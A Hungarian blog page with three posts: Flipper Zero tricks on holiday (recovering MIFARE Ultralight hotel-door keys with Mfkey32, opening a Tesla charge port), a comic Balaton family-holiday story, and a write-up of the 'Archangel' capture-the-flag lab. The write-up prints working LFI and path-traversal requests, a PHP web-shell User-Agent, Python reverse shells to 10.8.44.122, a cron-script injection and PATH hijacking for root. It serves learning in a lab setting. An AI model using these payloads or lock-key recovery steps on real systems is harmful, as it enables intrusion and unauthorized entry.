A nyaralás során a Flipper tulajdonságai remekül kiaknázhatóak. A szálláshelyen a TV-t, légkondit lehet vele vezérelni az infravörös irányítón keresztül.

Sikerült a hotelszoba ajtaját is kinyitni. A hotelek NFC-t használnak, de abból rengeteg protokol van. Most szerencsém volt, mert ahol megszálltunk MIFARE Ultralight-ot használtak. Ez is titkosított, de a kis készülék által kezelhető.

Ha csak beolvassuk a kártya adatait és visszajátszuk a zárnak, az nem működik, pont a titkosítás miatt.

Először a kártyát kell beolvasni és elmenteni. Utána a Detect Reader funkcióval beolvasni az érzékelőt. Ez viszonylag sokáig eltarthat. Utána a telefonos applikációval a Tools menüből futtatni kell az Mfkey32 funkciót. Ez is elcsámcsog az adatokon egy ideig és megpróbálja a kulcsokat visszafejteni. Ha megvan, akkor a Flipperen a kártya adatait kiválasztva lesz egy Unlock menüpont, több almenüvel. Én az Unlock by Reader-t használtam. Még egyszer a detektorhoz tartjuk a Flippert, és kész is. Innentől nyithatjuk a hotel ajtaját. Természetesen csak a sajátunkat.

Volt is kisebb bonyodalom, mert én épp a Flipperrel bíbelődtem a hotel folyosóján, amikor megjelent egy csomó vendég mögöttem csomagokkal, és kérdezték, mit csinálok az ő szobájukkal. Mondtam, hogy ez az én szobám. Ők állították, hogy az övék. Végül kiderült, hogy a recepción mindkettőnknek ugyan azt a szobát adták.

Az uszodai öltözőket viszont sehogy sem tudtam kezelni, pedig ezek egyszerűbb protokolra épülnek. Az egyik egy MIFARE Plus X-t használt, egy másik helyen pedig MIFARE Classic 1K-t, legalábbis a szerkezet szerint. Bár a kártyát mindkét típusnál tudtam menteni, a szekrényeket egyik sem nyitotta. Ez nem is baj, mert nem akartam, hogy vizes legyen a Flipper. (Még akkor sem, ha a delfinek tudnak úszni.)

Sok étkezőnél a rendelés elkészültét egy kis korong jelzi. Ezek elméletileg 433MHz-en kapják a jelet, tehát bőven a Flipper konfortzónájában. Nekem viszont a Frequency Analyzer nem jelezte az étel elkészültét. Venni biztosan tudja a frekvenciát, mert a BSides-on az egyik ember mutatta nekem, hogy a saját készülékével a Read funkcióval rögzítette a jelet, mikor elkészült a hamburgere.

Kicsit csalódott voltam, ezért a parkolóban vígasztalásul kinyitottam egy Tesla töltőfedelét.

Szólj hozzá!

Címkék: flipperzero

Balatonnál sej-haj

2024.08.13. 09:55 Travis.CG

Tóbiás nem gondolta, hogy egy bármi probléma lehet. Nyilván egy nyaralás kezdete stresszforrás. Az indulás soha nem úgy alakul, ahogy az ember eltervezte, de aztán eljön a váltás, amikor már nem aggódunk az otthonhagyott papucs miatt, amikor leszállunk az izzadságszagú vonatról, és megkezdődik a nyaralás. Innentől nem szokott gond lenni. Legalábbis semmi olyan gond, amivel tavaly ne találkozott volna az ember, példának okáért a "sokkal drágább fagyi"-tól a szúnyogcsípésig. Amíg csak ezekkel kell foglalkozni, az beleillik a megszokott ritmusba.

Minden ettől való eltérés a probléma kategóriába tartozik. A probléma pedig a bepakolással kezdődött. Tóbiás gyerekkorába a vonathoz kellett igazodni, ezért az indulás idejét nem lehetett módosítani. Most, hogy anyósával és apósával, feleségével, gyerekével, kereszfiával, keresztlányával megy, akik autóval akarnak leutazni, az indulás időpontja megjósolhatatlan. Senki nem tudja, mikor fognak elindulni, mert még az indulás napján is pakolnak.

Tóbiás erősen próbált visszaemlékezni, mennyi csomagja volt annak idején a négy tagú családnak, de csak egy sporttáskára emlékezett. Talán mintha lett volna egy szatyor, ha a sporttáska kicsinek bizonyul. Most hitetlenkedve állt a tömött Mercedes kombi mögött, miközben apósa, Géza próbálja megszervezni, hogy mi kerüljön a második autóba.

- A gyerekülés alá elférnek a sörök - kezdi Péter, Tóbiás sógora. - Úgysem ér le a lábuk.

- Jó, de Tóbiásék táskája is nálatok lesz, mert az ágynemű a fél csomagtartót elfoglalja.

Péter, akár csak egy töprengő mérnök, a járművek csomagtartóját nézegeti.

- Az még talán elfér.

Délután kettőre végeztek a csomagolással. Az ebédmaradék is dobozokba került, sőt Péterék a tegnapi kerti partijukról maradt grillhúsokat is áthozták.

- Mindig idehozzák ezeket a nagy dobozokat, hogy én mosogassam el őket. Mindegyik dobozban van két hús! Miért nem lehetett ezt egy dobozba rakni? - mérgelődik Mari, Géza felesége, de csak ha Péter nincs a közelben.

Mikor a hűtőtáskák is megteltek az ételekkel, azok is a csomagtartóba kerültek. Tóbiás nem értette, mi szükség van erre. Mintha nem is nyaralni mennének, hanem az országot kellene elhagyni meghatározhatatlan időre. Mellette Géza sztorizni kezdett.

- Soha nem felejtem el, mikor Laciék Horváthországba mentek - Tóbiás nem tudta kik lehetnek Laciék, de úgy gondolta, ez jelenleg nem is fontos. -  Egy 12 literes fazék is volt náluk, tele töltött káposztával. Annyi kaját vittek, hogy a kocsi hátsó ülésére sem lehetett beülni. Komolyan nem értem az ilyen embereket.

Géza hangosan hahotázott. Tóbiás megértette, hogy az emberek nem látják saját gyarlóságaikat, amíg van náluk is szánalmasabb. Közben a pakolás is véget ért. Nem azért, mert megvolt minden, amit vinni akartak, hanem mert a kocsik megteltek.

Elindul a konvoly. Géza, Mari és Tóbiás családja az első kocsiban utazott. Olga, Tóbiás és a kis Heni hátul ültek. Tóbiás ölében makarónis tál, mert a keresztfia csak azt eszik ebédre. A másik autóban Péter és két gyereke ült. Péter nem marad a Balatonon, mert sürgős üzleti tárgyalásra kell mennie, tehát a kocsi kipakolása után már jön is el.

Talán két percet utazhattak, amikor Géza a homlokára csap!

- A WC papír!

- Jajj, a WC papír - kontrázott Mari is, mintha neki jutott volna eszébe. Mindenki visszafordul, mert nyaraláskor valami ismerősnek kell, hogy simogasson, ha jön a szükség. Géza berakja a 12-es Covid túlélő készletet és másodszor is elindul a kis csapat. Most egy kicsit messzebb jutottak, de a város határát még nem érték el.

- A pénz! - kiált fel Géza.

- Jajj, nem raktál el pénzt? - sipítozik Mari.

Géza nem hisz a bankkártyában, mobiltelefonos fizetésben és egyéb hókusz-pókuszban. Géza csakis a készpénzben hisz. A teljes nyaralás tervezett kiadása gurtnikban van, akár csak a régi vágású gengsztereknél. Újabb forduló következett vissza a házhoz.

- Bármit felejtünk itt, már nem jövünk vissza - jelenti ki Géza határozottan. Ezt tartja is, hiába jut eszébe Marinak az ásványvíz, vagy a kakaópor az unokáknak.

Miután megérkeznek, megkezdődik a kipakolás. Péter a leggyorsabb, mert még fel szeretne készülni a holnapi tárgyalásra, de Tóbiás úgy érzi, a gyerekeitől is szabadulna akar. Péter még szinte el sem hagyta a nyaralót, amikor Mari már telefonált neki, hogy holnap a tárgyalás után ne felejtsen hozni tejet, a gyerekek biciklijét, és még öt tételt, ami nélkül csak egy napot lehet kibírni.

A gyerekek meglátják a medencét.

- Mama, mama, belemehetünk?

- Várjatok még! - kiált Mari kezében a telefonnal, de a legkisebb nem vár. A fűre dobja az összes ruháját és pucéran a vízbe veti magát. A többiek ezen felbátorodnak, és követik a példáját.

- Nem ilyen medencétek van nektek is? - kérdezi Tóbiás Gézát, miközben pakolják a holmikat a házba.

- De, ugyan az az összeszerelhető modell, csak ez kicsit kisebb.

Késő délután az egész család lement a Balatonhoz. Tóbiás még emlékezett rá, milyen volt gyerekként egész nap a tóban lubickolni, miközben édesanyja a partról kiabált, hogy jöjjön már ki, mert kékül a szája. Valahogy a kékülő száj és a Balaton örökre összefonódott Tóbiás emlékezetében.

Mari és Olga a parton maradtak, nem akartak bemenni a vízbe. Géza és Tóbiás kísérte a gyerekeket. A kicsik berongyoltak a tóban, de megálltak a térdig érő résznél. A lendületük látványosan megtört.

- Fúj, mi ez? - kérdezte az egyik gyerek undorodva, miközben valami zöld úszott felé.

- Hínár, ne félj tőle, nem bánt - bár Tóbiás eszébe rémlett, hogy annak idején ők sem szerették a hínárt. Azért dobálták egymás hajába.

- Ez hideg - jelentette ki egy másik lurkó. Tóbiás 27 fokra saccolta a hőmérsékletet.

- Ússzál, akkor nem fogsz fázni. Menjünk beljebb!

A déli part csak lassan mélyült. Még derékig sem ért a víz, amikor a legkisebb elkezdett nyafogni.

- Mennyünk ki!

A többiek is hamar csatlakoztak a legkisebbhez.

- De még nem is úsztunk, itt vagyunk a part közelében.

- Mennyünk ki! - panaszkodtak kórusban.

Tóbiás vágyakozva nézett a bólya irányába. Mennyit csimpaszkodtak bele! Aztán megfordult és kiment a gyerekekkel. A parton a száradással több időt töltöttek, mint a vízben.

- Nem akartok egy kis kukoricát? - kérdezte a gyerekeket Mari.

- Deee!

- Én inkább jégkását kérek - jegyezte meg halkan Heni.

- Én is, én is! - kontrázott rá a másik két gyerek.

A vége az lett, hogy kaptak mindkettőt. A kukoricából mindegyik evett két falatot, a jégkásából pedig ittak egy kortyot.

- Menjünk vissza medencézni! - jegyezte meg az egyik kölyök, mire a másik kettő azonnal átment papagáj üzemmódba.

Még szerencse, hogy négy felnőtt kísért három gyereket, mindenkinek a kezébe jutott vagy egy megcsócsált kukorica, vagy egy cukros löttyé olvadó jégkása. A csomagok alapfelszerelésnek számítottak, az nem számított.

A medencében végül elvolt a három gyerek. Este nyolcig ki sem jöttek. A vízben nem volt hínár, a keringtető rendszer kellemes melegen tartotta a hőmérsékletet. Tóbiás azon gondolkodott, ha ezek a gyerekek felnőnek, ők mit fognak gondolni a saját gyerekeik nyaralásáról?

Szólj hozzá!

Címkék: irodalom

Archangel CTF

2024.08.04. 18:07 Travis.CG

Ez egy nem semmi CTF volt. Először szokás szerint végigscanneltem a portokat:

nmap -sS -Pn --top-ports 100 -sV $IP

Csak a 22-es és a 80-as volt nyitva. A weboldal semmi különöset nem tartalmaz. Az első kérdés, hogy van-e alternatív hostname. Ezt viszonylag könnyen megtaláljuk az oldal tetején egy e-mail címben. Amint ez megvan, az ember elgondolkodik, hogy nem lesz-e más az oldal kinézete, ha bejegyezzük gépünkben ezt a host-ot? Írjuk be a nevet az /etc/hosts-ba, és frissítsük a böngészőt.

A weboldal megváltozik. Mindjárt meg is van a második flag. Érdemes kicsit jobban megnézni az oldalt.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt,html,php -u http://mafialive.thm/

Már az elején találunk egy php oldalt, ami egyben az egyik kérdésre a válasz, még a lista egy százalékát sem kell elérni, nyugodtan leállíthatjuk a keresést.

Na, a következő lépésnél elidőztem egy darabig. Abban biztos voltam, hogy a php oldalt kell rávenni valahogy, hogy elolvasson bizonyos fájlokat, de minden próbálkozásom esetén makacskodott a szkript. A hint szerint LFI-t kell használni, amiről életemben nem hallottam, úgyhogy kerestem egy LFI-s oktató anyagot a TryHackMe oldalán, és végigcsináltam. Utána már jobban értettem, hogyan kellene megoldani a feladatot.

A kérdéses php oldal forrását továbbra sem tudtam megnézni. Azt valahogy nem akarta betölteni. Végül base64-el kódoltam.

http://*HOST*/*PHP*.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/*PHP*.php

Ahol a *HOST* és a *PHP* a két behelyettesítendő találat az előző kérdésekből. Ha visszafejtjük a kódolt adatot, megvan a forrás. Ebből látható, hogy nem használhatjuk a "../.." sztringet, és mindenképp kell a /var/www/html az elején. Hah, ezt könnyű kikerülni, csak ".././.."-vel lépkedek vissza a gyökérig, és kész.

Most már elég sor fájlt meg tudunk nézni, még az első user flag-et is. De kell egy shell, mert anélkül nem ér semmit az élet.

A Burp Suit-al írjuk át az egyik kérés User-Agent-jét:

User-Agent: <?php system($_GET['cmd']); ?>

Ezzel az access.log fájlt átalakíthatjuk php szkriptté! Próbáljuk csak ki a következő URL-t!

*HOST*/*PHP*.php?view=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log&cmd=python3%20-c%20%27import%20os,pty,socket;s=socket.socket();s.connect((%2210.8.44.122%22,4444));[os.dup2(s.fileno(),f)for%20f%20in(0,1,2)];pty.spawn(%22bash%22)%27

A piros résszel kiemelt a reverz shell, ami a 10.8.44.122 felé nyit a 4444-es porton. Előtte persze el kell indítani egy nc-t a gépünk termináljában.

nc -lvnp 4444

Hurrá, hozzáférünk a fájlrendszerhez! Ajjaj, csak www-data felhasználóval. Jó lenne, ha kapásból root felhasználók lehetnénk, de ekkora szerencsénk nincs. Először az archangel felhasználó bőrébe kell bújnunk. Ha átnézzük a gépet, akkor az /etc/crontab fájlban találunk egy érdekes bejegyzést. Az /opt/helloworld.sh fájlt archangel felhasználó jogaival fut. Én nem szoktam vacakolni shell stabilizálással, ezért szövegszerkesztőt sem tudok indítani. De kinek kell? Indítsunk a saját gépünkön egy másik terminálban egy újabb nc-t, ezúttal a 9001-es porton:

nc -lvnp 9001

Majd módosítsuk a hellowordl.sh-t echo-val:

echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.8.44.122\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'" >>helloworld.sh

A cron lefuttatja a kódunkat, és a második reverz shell is elindul archangel jogaival. Könnyedén megnézhetjük a második user flag-et. Itt lesz pár megtévesztő helyzet. Pl passwordbackup, ami félrevihet minket, de előbb-utóbb ráakadunk egy suid jogokkal megáldott binárisra a felhasználó fájljai között backup néven. Ha elindítjuk, panaszkodik, hogy nem ér el bizonyos fájlokat.

A visszafejtésével nem érdemes vesződni, de azért belenézhetünk:

strings backup

Hoppá, megpróbál fájlokat másolni, de a /home/users/archangel könyvtárból, ami a rendszeren nem létezik. Ha az elérési utakat nem tudjuk módosítani, akkor készítsünk egy cp parancsot. A korábbi echo-s trükkel hozzunk létre egy szkriptet, aminek cp a neve. Ez is egy reverz shell lesz, de ne a 9001-es, vagy 4444-es, hanem valami más porton. Előtte persze indítsunk egy újabb nc-t a saját gépünkön, ami figyeli az adott portot. Ez lesz a harmadik reverz shell.

Ha kész a cp szkript, akkor vegyük előre a PATH-ban:

export PATH=/home/archangel/secret:$PATH

Majd indítsuk el a backup-ot. Elindul a root shell! A root flag könnyedén olvasható.

Szólj hozzá!

Címkék: biztonság

süti beállítások módosítása